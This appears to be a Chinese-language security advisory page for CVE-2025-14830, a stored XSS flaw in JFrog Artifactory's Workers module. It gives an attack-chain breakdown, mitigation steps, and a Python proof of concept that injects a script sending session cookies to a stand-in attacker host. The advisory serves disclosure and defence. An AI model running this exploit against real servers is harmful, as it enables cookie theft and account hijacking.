IPBUF安全漏洞报告
English
CVE-2025-14830 CVSS 4.9 中危

CVE-2025-14830: JFrog Artifactory Workers存储型XSS漏洞

披露日期: 2026-01-04

漏洞信息

漏洞编号
CVE-2025-14830
漏洞类型
跨站脚本攻击(XSS)
CVSS评分
4.9 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
JFrog Artifactory (Workers)

相关标签

CVE-2025-14830XSS存储型XSS跨站脚本攻击JFrog ArtifactoryWorkers模块CWE-79输入验证不足中等严重程度

漏洞概述

CVE-2025-14830是JFrog Artifactory(Workers组件)中存在的存储型跨站脚本攻击(Stored XSS)漏洞,CVSS评分为4.9,属于中等严重程度。该漏洞源于Web应用在生成页面时未能正确对用户输入进行中立化处理,导致恶意脚本可以被注入到应用程序中并存储在服务器端。当其他用户访问受感染的页面时,恶意脚本会在其浏览器上下文中执行,从而窃取会话令牌、劫持用户账户或执行其他恶意操作。攻击者需要具有高权限才能利用此漏洞,但无需用户交互即可触发。该漏洞影响Artifactory 7.94.0至7.117.10版本,攻击者可通过构造特制的输入数据绕过输入过滤机制,在Workers功能模块中植入恶意JavaScript代码。由于该漏洞为存储型XSS,其危害性高于反射型XSS,因为恶意脚本会被永久存储在目标系统中,影响所有访问相关资源的用户。

技术细节

该漏洞属于CWE-79(Web页面生成时输入中立化不当)类型的安全缺陷。在JFrog Artifactory的Workers组件中,应用程序在处理用户提交的数据时未能对特殊字符进行正确的HTML编码或转义处理。攻击者利用高权限账户在Workers相关功能模块中注入恶意JavaScript代码(如<script>标签、事件处理器onerror/onload、内联JavaScript等),这些payload会被存储在数据库中。当其他用户访问包含恶意内容的页面时,浏览器会将其作为合法脚本执行,从而实现会话劫持、敏感信息窃取或进一步的攻击链。由于攻击向量为网络(AV:N)且需要高权限认证(PR:H),攻击者通常需要先获取有效的Artifactory高权限账户凭证,然后通过API或Web界面在Workers模块中注入XSS payload。成功利用后,恶意脚本会在受害者的浏览器上下文中执行,可访问同源资源、窃取Cookie/Token或进行键盘记录等操作。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统为JFrog Artifactory,确认版本在7.94.0-7.117.10范围内,并定位Workers模块入口点
STEP 2
Initial Access
攻击者通过社会工程、凭证填充或内部渗透获取Artifactory高权限账户(如管理员或具有Workers管理权限的用户)
STEP 3
Payload Crafting
攻击者构造XSS payload,可使用<script>标签、事件处理器(onerror、onload等)或SVG/on动画元素绕过基础过滤
STEP 4
Injection
通过Workers API或Web界面提交包含恶意脚本的数据,payload被存储在数据库中而不被正确转义
STEP 5
Execution
当其他用户访问Workers相关页面时,浏览器解析并执行存储的恶意脚本,窃取会话Cookie或执行特权操作
STEP 6
Impact
攻击者实现会话劫持、横向移动、敏感数据窃取或完全控制用户账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-14830 PoC - Stored XSS in JFrog Artifactory Workers # Target: JFrog Artifactory < 7.117.10 TARGET = "https://artifactory.example.com" USERNAME = "admin" PASSWORD = "password" # XSS payload for Workers module XSS_PAYLOAD = '<script>document.location="https://attacker.com/log?c=' + \ '"+document.cookie+"</script>' def exploit(): session = requests.Session() # Step 1: Authentication login_url = f"{TARGET}/ui/api/v1/auth/login" auth_data = {"user": USERNAME, "password": PASSWORD} response = session.post(login_url, json=auth_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") return False access_token = response.json().get("access_token") headers = {"Authorization": f"Bearer {access_token}"} # Step 2: Inject XSS payload in Workers module workers_url = f"{TARGET}/ui/api/v1/workers" exploit_data = { "name": "Worker-Test", "description": XSS_PAYLOAD, "config": {"enabled": True} } response = session.post(workers_url, json=exploit_data, headers=headers, verify=False) if response.status_code in [200, 201]: print("[+] XSS payload injected successfully") print(f"[+] Payload: {XSS_PAYLOAD}") return True else: print(f"[-] Injection failed: {response.status_code}") return False if __name__ == "__main__": exploit()

影响范围

JFrog Artifactory (Workers) >= 7.94.0
JFrog Artifactory (Workers) < 7.117.10

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 限制Workers模块访问权限,仅允许受信任的管理员操作;2) 实施严格的输入过滤规则,移除或转义<script>、javascript:、onerror等危险关键词;3) 启用Web应用防火墙(WAF)规则检测XSS攻击特征;4) 监控Workers相关API的异常请求模式;5) 对关键操作启用双因素认证;6) 定期审计用户权限和操作日志,及时发现可疑活动。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表